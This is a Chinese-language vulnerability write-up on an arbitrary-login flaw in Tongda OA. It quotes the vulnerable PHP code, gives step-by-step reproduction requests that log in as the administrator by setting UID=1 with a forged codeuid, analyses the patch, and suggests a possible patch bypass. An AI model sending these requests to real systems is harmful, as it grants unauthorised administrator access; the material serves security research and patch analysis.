最近爆了個通達 OA 任意用戶登錄漏洞,正好分析分析,順便師傅一起學習。
漏洞分析
第一處
首先我們找到文件根目錄的文件 logincheck_code.php
,這個文件是沒有權限驗證的。
我們會發現在 180 行附近有兩行代碼:
$LOGIN_UID = $UID;
$LOGIN_USER_ID = $USER_ID;
...
$_SESSION["LOGIN_UID"] = $LOGIN_UID;
$_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;
驗證登錄時就是判斷的這兩個 SESSION
。
往上翻翻 $UID
哪來的:
可以發現是直接從 $_POST
中獲取的,也就是任意控制即可。
但是 15
行附近有個判斷,如果緩存里沒有 CODE_LOGIN.$CODEUID
($CODEUID
也是可以任意控制的) 就退出程序了,我們可以全局搜索一下這個緩存在哪里設置了。
很快找到一處: ispirit\login_code.php
<?php
include_once "inc/utility_all.php";
include_once "inc/utility_cache.php";
include_once "inc/phpqrcode.php";
$codeuid = $_GET["codeuid"];
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);
if (empty($login_codeuid)) {
// 給 codeuid 設置個隨機值
$login_codeuid = getUniqid();
}
$databack = array("codeuid" => $login_codeuid, "source" => "pc", "codetime" => time());
$dataStr = td_authcode(json_encode($databack), "ENCODE");
$dataStr = "LOGIN_CODE" . $dataStr;
$databacks = array("codeuid" => $login_codeuid, "authcode" => $dataStr);
//將 codeuid 存入緩存
TD::set_cache("CODE_LOGIN_PC" . $login_codeuid, $login_codeuid, 120);
//輸出 codeuid
echo json_encode(td_iconv($databacks, MYOA_CHARSET, "utf-8"));
echo "\r\n\r\n\r\n";
?>
這里給重要的三句話寫了注釋。我們只要直接訪問一次這個文件就可以偽造了。
復現測試
首先訪問一次 /ispirit/login_code.php
:
存下這個 codeuid
。然后訪問 /logincheck_code.php
:
UID
設置成 1
,這個 ID
默認是管理員。然后 CODEUID
設置成: _PC
+codeuid
:
隨便訪問個需要驗證的 url
:/pda/main.php
第二處任意登錄
一樣的思路,我們全局搜索會找到在文件 \ispirit\login_code_check.php
處有類似的代碼:
我們往上翻:
會發現 $UID
來自 $code_info
。$code_info
又來自緩存 CODE_INFO_PC
+$login_codeuid
。
這里的 $code_info[type]
需要等於 confirm
.
再上面一點有這樣的代碼:
//$codeuid 可控
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);
這里和之前一樣得。
然后我找找哪里有設置 CODE_INFO_PC
的代碼,在文件 general\login_code_scan.php
:
可以發現這里的 codeuid
和 type
都是可控的。現在就可以利用了。
漏洞復現
- 首先訪問
/ispirit/login_code.php
獲取codeuid
。 - 訪問
/general/login_code_scan.php
提交post
參數:
source=pc&type=confirm&codeuid={5D9B864F-07AD-519C-13D1-E573E226302A}&uid=1&
- 最后訪問
/ispirit/login_code_check.php?codeuid=xxx
這樣 $_SESSION
里就有了登錄的信息了。
補丁分析
第一處修復 logincheck_code.php
:
這里從 redis
中獲取了數據,判斷了 $UID
不等於 0
的話才能下一步,相當於做了個權限驗證吧。
如果我們能找到一處設置 OA:authcode:token:XXX
的地方,或者找到一處可以控制鍵值的緩存,即可繞過。
第二處修復 \general\login_code_scan.php
在設置 CODE_INFO_PC
前進行了權限驗證,這里根據傳入的 session
查詢此 session
是否登陸過,如果沒登陸過就退出程序
思考及總結
這個漏洞其實挺簡單的,但是到現在才發現,看來挖掘這樣的洞更需要一些耐心和細心。由於這個程序用了全局覆蓋,我們可以直接覆蓋 _SESSION
里的數據,但是 _SESSION
是存在 redis
中的。所以如果有一處先開啟 session_start
然后引入了 session.php
文件,即可直接覆蓋 _SESSION
里的數據。